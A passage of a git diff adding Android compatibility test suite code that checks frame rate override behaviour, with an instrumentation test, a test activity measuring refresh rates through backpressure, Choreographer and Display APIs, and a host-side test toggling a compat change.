+public final class FrameRateOverrideTest {
+    private static final String TAG = "FrameRateOverrideTest";
+    // See b/170503758 for more details
+    private static final long DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID = 170503758;
+
+    // The tolerance within which we consider refresh rates are equal
+    private static final float REFRESH_RATE_TOLERANCE = 0.01f;
+
+    private int mInitialMatchContentFrameRate;
+    private DisplayManager mDisplayManager;
+
+
+    @Rule
+    public ActivityTestRule<FrameRateOverrideTestActivity> mActivityRule =
+            new ActivityTestRule<>(FrameRateOverrideTestActivity.class);
+
+    @Before
+    public void setUp() throws Exception {
+        final UiDevice uiDevice =
+                UiDevice.getInstance(
+                        androidx.test.platform.app.InstrumentationRegistry.getInstrumentation());
+        uiDevice.wakeUp();
+        uiDevice.executeShellCommand("wm dismiss-keyguard");
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOG_COMPAT_CHANGE,
+                        Manifest.permission.READ_COMPAT_CHANGE_CONFIG,
+                        Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE,
+                        Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS);
+
+        mDisplayManager = mActivityRule.getActivity().getSystemService(DisplayManager.class);
+        mInitialMatchContentFrameRate = toSwitchingType(
+                mDisplayManager.getMatchContentFrameRateUserPreference());
+        mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+        boolean changeIsEnabled =
+                CompatChanges.isChangeEnabled(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID);
+        Log.e(TAG, "DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID is "
+                + (changeIsEnabled ? "enabled" : "disabled"));
+    }
+
+    @After
+    public void tearDown() {
+        mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    private int toSwitchingType(int matchContentFrameRateUserPreference) {
+        switch (matchContentFrameRateUserPreference) {
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER:
+                return DisplayManager.SWITCHING_TYPE_NONE;
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY:
+                return DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS;
+            case DisplayManager.MATCH_CONTENT_FRAMERATE_ALWAYS:
+                return DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS;
+            default:
+                return -1;
+        }
+    }
+
+    private void setMode(Display.Mode mode) {
+        Handler handler = new Handler(Looper.getMainLooper());
+        handler.post(() -> {
+            Window window = mActivityRule.getActivity().getWindow();
+            WindowManager.LayoutParams params = window.getAttributes();
+            params.preferredDisplayModeId = mode.getModeId();
+            window.setAttributes(params);
+        });
+
+    }
+
+    private static boolean areEqual(float a, float b) {
+        return Math.abs(a - b) <= REFRESH_RATE_TOLERANCE;
+    }
+
+    // Find refresh rates where the device also natively supports half that rate with the same
+    // resolution (for example, a 120Hz mode when the device also supports a 60Hz mode).
+    private List<Display.Mode> getModesToTest() {
+        List<Display.Mode> modesToTest = new ArrayList<>();
+        if (!SurfaceFlingerProperties.enable_frame_rate_override().orElse(false)) {
+            return modesToTest;
+        }
+        Display.Mode[] modes = mActivityRule.getActivity().getDisplay().getSupportedModes();
+        for (Display.Mode mode : modes) {
+            for (Display.Mode otherMode : modes) {
+                if (mode.getModeId() == otherMode.getModeId()) {
+                    continue;
+                }
+
+                if (mode.getPhysicalHeight() != otherMode.getPhysicalHeight()
+                        || mode.getPhysicalWidth() != otherMode.getPhysicalWidth()) {
+                    continue;
+                }
+
+                if (areEqual(mode.getRefreshRate(), 2 * otherMode.getRefreshRate())) {
+                    modesToTest.add(mode);
+                }
+            }
+        }
+
+        return modesToTest;
+    }
+
+    private void testFrameRateOverride(FrameRateObserver frameRateObserver)
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        for (Display.Mode mode : getModesToTest()) {
+            setMode(mode);
+            activity.testFrameRateOverride(frameRateObserver, mode.getRefreshRate());
+        }
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest.testBackpressureDisplayModeReturnsPhysicalRefreshRateEnabled and
+     * FrameRateOverrideHostTest.testBackpressureDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testBackpressure()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(activity.new BackpressureFrameRateObserver());
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest.testChoreographerDisplayModeReturnsPhysicalRefreshRateEnabled and
+     * FrameRateOverrideHostTest.testChoreographerDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testChoreographer()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(activity.new ChoreographerFrameRateObserver());
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest
+     * .testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled
+     * and
+     * FrameRateOverrideHostTest
+     * .testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testDisplayGetRefreshRate()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(activity.new DisplayGetRefreshRateFrameRateObserver());
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest
+     * .testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled
+     */
+    @Test
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(
+                activity.new DisplayModeGetRefreshRateFrameRateObserver(
+                        /*displayModeReturnsPhysicalRefreshRateEnabled*/ true));
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest
+     * .testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(
+                activity.new DisplayModeGetRefreshRateFrameRateObserver(
+                        /*displayModeReturnsPhysicalRefreshRateEnabled*/ false));
+    }
+}
diff --git a/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java
new file mode 100644
index 0000000..888f7f3
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java
@@ -0,0 +1,504 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Choreographer;
+import android.view.Surface;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+import android.view.ViewGroup;
+
+import java.util.ArrayList;
+
+/**
+ * An Activity to help with frame rate testing.
+ */
+public class FrameRateOverrideTestActivity extends Activity {
+    private static final String TAG = "FrameRateOverrideTestActivity";
+    private static final long FRAME_RATE_SWITCH_GRACE_PERIOD_NANOSECONDS = 2 * 1_000_000_000L;
+    private static final long STABLE_FRAME_RATE_WAIT_NANOSECONDS = 1 * 1_000_000_000L;
+    private static final long POST_BUFFER_INTERVAL_NANOSECONDS = 500_000_000L;
+    private static final int PRECONDITION_WAIT_MAX_ATTEMPTS = 5;
+    private static final long PRECONDITION_WAIT_TIMEOUT_NANOSECONDS = 20 * 1_000_000_000L;
+    private static final long PRECONDITION_VIOLATION_WAIT_TIMEOUT_NANOSECONDS = 3 * 1_000_000_000L;
+    private static final float FRAME_RATE_TOLERANCE = 0.01f;
+    private static final float FPS_TOLERANCE_FOR_FRAME_RATE_OVERRIDE = 5;
+    private static final long FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS = 1 * 1_000_000_000L;
+    private static final long FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS = 10 * 1_000_000_000L;
+
+    private DisplayManager mDisplayManager;
+    private SurfaceView mSurfaceView;
+    private Handler mHandler = new Handler(Looper.getMainLooper());
+    private Object mLock = new Object();
+    private Surface mSurface = null;
+    private float mReportedDisplayRefreshRate;
+    private float mReportedDisplayModeRefreshRate;
+    private ArrayList<Float> mRefreshRateChangedEvents = new ArrayList<Float>();
+
+    private long mLastBufferPostTime;
+
+    SurfaceHolder.Callback mSurfaceHolderCallback = new SurfaceHolder.Callback() {
+        @Override
+        public void surfaceCreated(SurfaceHolder holder) {
+            synchronized (mLock) {
+                mSurface = holder.getSurface();
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void surfaceDestroyed(SurfaceHolder holder) {
+            synchronized (mLock) {
+                mSurface = null;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
+        }
+    };
+
+    DisplayManager.DisplayListener mDisplayListener = new DisplayManager.DisplayListener() {
+        @Override
+        public void onDisplayAdded(int displayId) {
+        }
+
+        @Override
+        public void onDisplayChanged(int displayId) {
+            synchronized (mLock) {
+                float refreshRate = getDisplay().getRefreshRate();
+                float displayModeRefreshRate = getDisplay().getMode().getRefreshRate();
+                if (refreshRate != mReportedDisplayRefreshRate
+                        || displayModeRefreshRate != mReportedDisplayModeRefreshRate) {
+                    Log.i(TAG, String.format("Frame rate changed: (%.2f, %.2f) --> (%.2f, %.2f)",
+                                    mReportedDisplayModeRefreshRate,
+                                    mReportedDisplayRefreshRate,
+                                    displayModeRefreshRate,
+                                    refreshRate));
+                    mReportedDisplayRefreshRate = refreshRate;
+                    mReportedDisplayModeRefreshRate = displayModeRefreshRate;
+                    mRefreshRateChangedEvents.add(refreshRate);
+                    mLock.notify();
+                }
+            }
+        }
+
+        @Override
+        public void onDisplayRemoved(int displayId) {
+        }
+    };
+
+    private static class PreconditionViolatedException extends RuntimeException { }
+
+    private static class FrameRateTimeoutException extends RuntimeException {
+        FrameRateTimeoutException(float appRequestedFrameRate, float deviceRefreshRate) {
+            this.appRequestedFrameRate = appRequestedFrameRate;
+            this.deviceRefreshRate = deviceRefreshRate;
+        }
+
+        public float appRequestedFrameRate;
+        public float deviceRefreshRate;
+    }
+
+    public void postBufferToSurface(int color) {
+        mLastBufferPostTime = System.nanoTime();
+        Canvas canvas = mSurface.lockCanvas(null);
+        canvas.drawColor(color);
+        mSurface.unlockCanvasAndPost(canvas);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        synchronized (mLock) {
+            mDisplayManager = getSystemService(DisplayManager.class);
+            mReportedDisplayRefreshRate = getDisplay().getRefreshRate();
+            mReportedDisplayModeRefreshRate = getDisplay().getMode().getRefreshRate();
+            mDisplayManager.registerDisplayListener(mDisplayListener, mHandler);
+            mSurfaceView = new SurfaceView(this);
+            mSurfaceView.setWillNotDraw(false);
+            setContentView(mSurfaceView,
+                    new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
+                            ViewGroup.LayoutParams.MATCH_PARENT));
+            mSurfaceView.getHolder().addCallback(mSurfaceHolderCallback);
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        mDisplayManager.unregisterDisplayListener(mDisplayListener);
+        synchronized (mLock) {
+            mLock.notify();
+        }
+    }
+
+    private static boolean frameRatesEqual(float frameRate1, float frameRate2) {
+        return Math.abs(frameRate1 - frameRate2) <= FRAME_RATE_TOLERANCE;
+    }
+
+    private static boolean frameRatesMatchesOverride(float frameRate1, float frameRate2) {
+        return Math.abs(frameRate1 - frameRate2) <= FPS_TOLERANCE_FOR_FRAME_RATE_OVERRIDE;
+    }
+
+    // Waits until our SurfaceHolder has a surface and the activity is resumed.
+    private void waitForPreconditions() throws InterruptedException {
+        assertTrue(
+                "Activity was unexpectedly destroyed", !isDestroyed());
+        if (mSurface == null || !isResumed()) {
+            Log.i(TAG, String.format(
+                    "Waiting for preconditions. Have surface? %b. Activity resumed? %b.",
+                            mSurface != null, isResumed()));
+        }
+        long nowNanos = System.nanoTime();
+        long endTimeNanos = nowNanos + PRECONDITION_WAIT_TIMEOUT_NANOSECONDS;
+        while (mSurface == null || !isResumed()) {
+            long timeRemainingMillis = (endTimeNanos - nowNanos) / 1_000_000;
+            assertTrue(String.format("Timed out waiting for preconditions. Have surface? %b."
+                            + " Activity resumed? %b.",
+                    mSurface != null, isResumed()),
+                    timeRemainingMillis > 0);
+            mLock.wait(timeRemainingMillis);
+            assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+            nowNanos = System.nanoTime();
+        }
+    }
+
+    // Returns true if we encounter a precondition violation, false otherwise.
+    private boolean waitForPreconditionViolation() throws InterruptedException {
+        assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+        long nowNanos = System.nanoTime();
+        long endTimeNanos = nowNanos + PRECONDITION_VIOLATION_WAIT_TIMEOUT_NANOSECONDS;
+        while (mSurface != null && isResumed()) {
+            long timeRemainingMillis = (endTimeNanos - nowNanos) / 1_000_000;
+            if (timeRemainingMillis <= 0) {
+                break;
+            }
+            mLock.wait(timeRemainingMillis);
+            assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+            nowNanos = System.nanoTime();
+        }
+        return mSurface == null || !isResumed();
+    }
+
+    private void verifyPreconditions() {
+        if (mSurface == null || !isResumed()) {
+            throw new PreconditionViolatedException();
+        }
+    }
+
+    // Returns true if we reached waitUntilNanos, false if some other event occurred.
+    private boolean waitForEvents(long waitUntilNanos)
+            throws InterruptedException {
+        mRefreshRateChangedEvents.clear();
+        long nowNanos = System.nanoTime();
+        while (nowNanos < waitUntilNanos) {
+            long surfacePostTime = mLastBufferPostTime + POST_BUFFER_INTERVAL_NANOSECONDS;
+            long timeoutNs = Math.min(waitUntilNanos, surfacePostTime) - nowNanos;
+            long timeoutMs = timeoutNs / 1_000_000L;
+            int remainderNs = (int) (timeoutNs % 1_000_000L);
+            // Don't call wait(0, 0) - it blocks indefinitely.
+            if (timeoutMs > 0 || remainderNs > 0) {
+                mLock.wait(timeoutMs, remainderNs);
+            }
+            nowNanos = System.nanoTime();
+            verifyPreconditions();
+            if (!mRefreshRateChangedEvents.isEmpty()) {
+                return false;
+            }
+            if (nowNanos >= surfacePostTime) {
+                postBufferToSurface(Color.RED);
+            }
+        }
+        return true;
+    }
+
+    private void waitForRefreshRateChange(float expectedRefreshRate) throws InterruptedException {
+        Log.i(TAG, "Waiting for the refresh rate to change");
+        long nowNanos = System.nanoTime();
+        long gracePeriodEndTimeNanos =
+                nowNanos + FRAME_RATE_SWITCH_GRACE_PERIOD_NANOSECONDS;
+        while (true) {
+            // Wait until we switch to the expected refresh rate
+            while (!frameRatesEqual(mReportedDisplayRefreshRate, expectedRefreshRate)
+                    && !waitForEvents(gracePeriodEndTimeNanos)) {
+                // Empty
+            }
+            nowNanos = System.nanoTime();
+            if (nowNanos >= gracePeriodEndTimeNanos) {
+                throw new FrameRateTimeoutException(expectedRefreshRate,
+                        mReportedDisplayRefreshRate);
+            }
+
+            // We've switched to a compatible frame rate. Now wait for a while to see if we stay at
+            // that frame rate.
+            long endTimeNanos = nowNanos + STABLE_FRAME_RATE_WAIT_NANOSECONDS;
+            while (endTimeNanos > nowNanos) {
+                if (waitForEvents(endTimeNanos)) {
+                    Log.i(TAG, String.format("Stable frame rate %.2f verified",
+                            mReportedDisplayRefreshRate));
+                    return;
+                }
+                nowNanos = System.nanoTime();
+                if (!mRefreshRateChangedEvents.isEmpty()) {
+                    break;
+                }
+            }
+        }
+    }
+
+    interface FrameRateObserver {
+        void observe(float initialRefreshRate, float expectedFrameRate, String condition)
+                throws InterruptedException;
+    }
+
+    class BackpressureFrameRateObserver implements FrameRateObserver {
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+            long startTime = System.nanoTime();
+            int totalBuffers = 0;
+            float fps = 0;
+            while (System.nanoTime() - startTime <= FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS) {
+                postBufferToSurface(Color.BLACK + totalBuffers);
+                totalBuffers++;
+                if (System.nanoTime() - startTime >= FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS) {
+                    float testDuration = (System.nanoTime() - startTime) / 1e9f;
+                    fps = totalBuffers / testDuration;
+                    if (frameRatesMatchesOverride(fps, expectedFrameRate)) {
+                        Log.i(TAG,
+                                String.format("%s: backpressure observed refresh rate %.2f",
+                                        condition,
+                                        fps));
+                        return;
+                    }
+                }
+            }
+
+            assertTrue(String.format(
+                    "%s: backpressure observed refresh rate doesn't match the current refresh "
+                            + "rate. "
+                            + "expected: %.2f observed: %.2f", condition, expectedFrameRate, fps),
+                    frameRatesMatchesOverride(fps, expectedFrameRate));
+        }
+    }
+
+    class ChoreographerFrameRateObserver implements FrameRateObserver {
+        class ChoreographerThread extends Thread implements Choreographer.FrameCallback {
+            Choreographer mChoreographer;
+            long mStartTime;
+            public Handler mHandler;
+            Looper mLooper;
+            int mTotalCallbacks = 0;
+            long mEndTime;
+            float mExpectedRefreshRate;
+            String mCondition;
+
+            ChoreographerThread(float expectedRefreshRate, String condition)
+                    throws InterruptedException {
+                mExpectedRefreshRate = expectedRefreshRate;
+                mCondition = condition;
+            }
+
+            @Override
+            public void run() {
+                Looper.prepare();
+                mChoreographer = Choreographer.getInstance();
+                mHandler = new Handler();
+                mLooper = Looper.myLooper();
+                mStartTime = System.nanoTime();
+                mChoreographer.postFrameCallback(this);
+                Looper.loop();
+            }
+
+            @Override
+            public void doFrame(long frameTimeNanos) {
+                mTotalCallbacks++;
+                mEndTime = System.nanoTime();
+                if (mEndTime - mStartTime <= FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS) {
+                    mChoreographer.postFrameCallback(this);
+                    return;
+                } else if (frameRatesMatchesOverride(mExpectedRefreshRate, getFps())
+                        || mEndTime - mStartTime > FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS) {
+                    mLooper.quitSafely();
+                    return;
+                }
+                mChoreographer.postFrameCallback(this);
+            }
+
+            public void verifyFrameRate() throws InterruptedException {
+                float fps = getFps();
+                Log.i(TAG,
+                        String.format("%s: choreographer observed refresh rate %.2f",
+                                mCondition,
+                                fps));
+                assertTrue(String.format(
+                        "%s: choreographer observed refresh rate doesn't match the current "
+                                + "refresh rate. expected: %.2f observed: %.2f",
+                        mCondition, mExpectedRefreshRate, fps),
+                        frameRatesMatchesOverride(mExpectedRefreshRate, fps));
+            }
+
+            private float getFps() {
+                return mTotalCallbacks / ((mEndTime - mStartTime) / 1e9f);
+            }
+        }
+
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition)
+                throws InterruptedException {
+            ChoreographerThread thread = new ChoreographerThread(expectedFrameRate, condition);
+            thread.start();
+            thread.join();
+            thread.verifyFrameRate();
+        }
+    }
+
+    class DisplayGetRefreshRateFrameRateObserver implements FrameRateObserver {
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+            Log.i(TAG,
+                    String.format("%s: Display.getRefreshRate() returned refresh rate %.2f",
+                            condition, mReportedDisplayRefreshRate));
+            assertTrue(String.format("%s: Display.getRefreshRate() doesn't match the "
+                            + "current refresh. expected: %.2f observed: %.2f", condition,
+                    expectedFrameRate, mReportedDisplayRefreshRate),
+                    frameRatesMatchesOverride(mReportedDisplayRefreshRate, expectedFrameRate));
+        }
+    }
+
+    class DisplayModeGetRefreshRateFrameRateObserver implements FrameRateObserver {
+        private final boolean mDisplayModeReturnsPhysicalRefreshRateEnabled;
+
+        DisplayModeGetRefreshRateFrameRateObserver(
+                boolean displayModeReturnsPhysicalRefreshRateEnabled) {
+            mDisplayModeReturnsPhysicalRefreshRateEnabled =
+                    displayModeReturnsPhysicalRefreshRateEnabled;
+        }
+
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+            float expectedDisplayModeRefreshRate =
+                    mDisplayModeReturnsPhysicalRefreshRateEnabled ? initialRefreshRate
+                            : expectedFrameRate;
+            Log.i(TAG,
+                    String.format(
+                            "%s: Display.getMode().getRefreshRate() returned refresh rate %.2f",
+                            condition, mReportedDisplayModeRefreshRate));
+            assertTrue(String.format("%s: Display.getMode().getRefreshRate() doesn't match the "
+                            + "current refresh. expected: %.2f observed: %.2f", condition,
+                    expectedDisplayModeRefreshRate, mReportedDisplayModeRefreshRate),
+                    frameRatesMatchesOverride(mReportedDisplayModeRefreshRate,
+                            expectedDisplayModeRefreshRate));
+        }
+    }
+
+    private void testFrameRateOverrideBehavior(FrameRateObserver frameRateObserver,
+            float initialRefreshRate) throws InterruptedException {
+        Log.i(TAG, "Staring testFrameRateOverride");
+        float halfFrameRate = initialRefreshRate / 2;
+
+        waitForRefreshRateChange(initialRefreshRate);
+        frameRateObserver.observe(initialRefreshRate, initialRefreshRate, "Initial");
+
+        Log.i(TAG, String.format("Setting Frame Rate to %.2f with default compatibility",
+                halfFrameRate));
+        mSurface.setFrameRate(halfFrameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS);
+        waitForRefreshRateChange(halfFrameRate);
+        frameRateObserver.observe(initialRefreshRate, halfFrameRate, "setFrameRate(default)");
+
+        Log.i(TAG, String.format("Setting Frame Rate to %.2f with fixed source compatibility",
+                halfFrameRate));
+        mSurface.setFrameRate(halfFrameRate, Surface.FRAME_RATE_COMPATIBILITY_FIXED_SOURCE,
+                Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS);
+        waitForRefreshRateChange(halfFrameRate);
+        frameRateObserver.observe(initialRefreshRate, halfFrameRate, "setFrameRate(fixed source)");
+
+        Log.i(TAG, "Resetting Frame Rate setting");
+        mSurface.setFrameRate(0, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
+                Surface.CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS);
+        waitForRefreshRateChange(initialRefreshRate);
+        frameRateObserver.observe(initialRefreshRate, initialRefreshRate, "Reset");
+    }
+
+    // The activity being intermittently paused/resumed has been observed to
+    // cause test failures in practice, so we run the test with retry logic.
+    public void testFrameRateOverride(FrameRateObserver frameRateObserver, float initialRefreshRate)
+            throws InterruptedException {
+        synchronized (mLock) {
+            Log.i(TAG, "testFrameRateOverride started");
+            int attempts = 0;
+            boolean testPassed = false;
+            try {
+                while (!testPassed) {
+                    waitForPreconditions();
+                    try {
+                        testFrameRateOverrideBehavior(frameRateObserver, initialRefreshRate);
+                        testPassed = true;
+                    } catch (PreconditionViolatedException exc) {
+                        // The logic below will retry if we're below max attempts.
+                    } catch (FrameRateTimeoutException exc) {
+                        // Sometimes we get a test timeout failure before we get the
+                        // notification that the activity was paused, and it was the pause that
+                        // caused the timeout failure. Wait for a bit to see if we get notified
+                        // of a precondition violation, and if so, retry the test. Otherwise
+                        // fail.
+                        assertTrue(
+                                String.format(
+                                        "Timed out waiting for a stable and compatible frame"
+                                                + " rate. requested=%.2f received=%.2f.",
+                                        exc.appRequestedFrameRate, exc.deviceRefreshRate),
+                                waitForPreconditionViolation());
+                    }
+
+                    if (!testPassed) {
+                        Log.i(TAG,
+                                String.format("Preconditions violated while running the test."
+                                                + " Have surface? %b. Activity resumed? %b.",
+                                        mSurface != null,
+                                        isResumed()));
+                        attempts++;
+                        assertTrue(String.format(
+                                "Exceeded %d precondition wait attempts. Giving up.",
+                                PRECONDITION_WAIT_MAX_ATTEMPTS),
+                                attempts < PRECONDITION_WAIT_MAX_ATTEMPTS);
+                    }
+                }
+            } finally {
+                String passFailMessage = String.format(
+                        "%s", testPassed ? "Passed" : "Failed");
+                if (testPassed) {
+                    Log.i(TAG, passFailMessage);
+                } else {
+                    Log.e(TAG, passFailMessage);
+                }
+            }
+
+        }
+    }
+}
diff --git a/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java b/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java
new file mode 100644
index 0000000..12162d9
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+import android.view.Display;
+
+import com.google.common.collect.ImmutableSet;
+
+/**
+ * Tests for frame rate override and the behavior of {@link Display#getRefreshRate()} and
+ * {@link Display.Mode#getRefreshRate()} Api.
+ */
+public class FrameRateOverrideHostTest extends CompatChangeGatingTestCase {
+
+    protected static final String TEST_APK = "CtsHostsideFrameRateOverrideTestsApp.apk";
+    protected static final String TEST_PKG = "com.android.cts.graphics.framerateoverride";
+
+    // See b/170503758 for more details
+    private static final long DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID = 170503758;
+
+    @Override
+    protected void setUp() throws Exception {
+        installPackage(TEST_APK, true);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(TEST_PKG, true);
+    }
+
+    public void testBackpressureDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testBackpressure",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testBackpressureDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testBackpressure",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+
+    public void testChoreographerDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testChoreographer",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testChoreographerDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testChoreographer",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+
+    public void testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayGetRefreshRate",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayGetRefreshRate",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
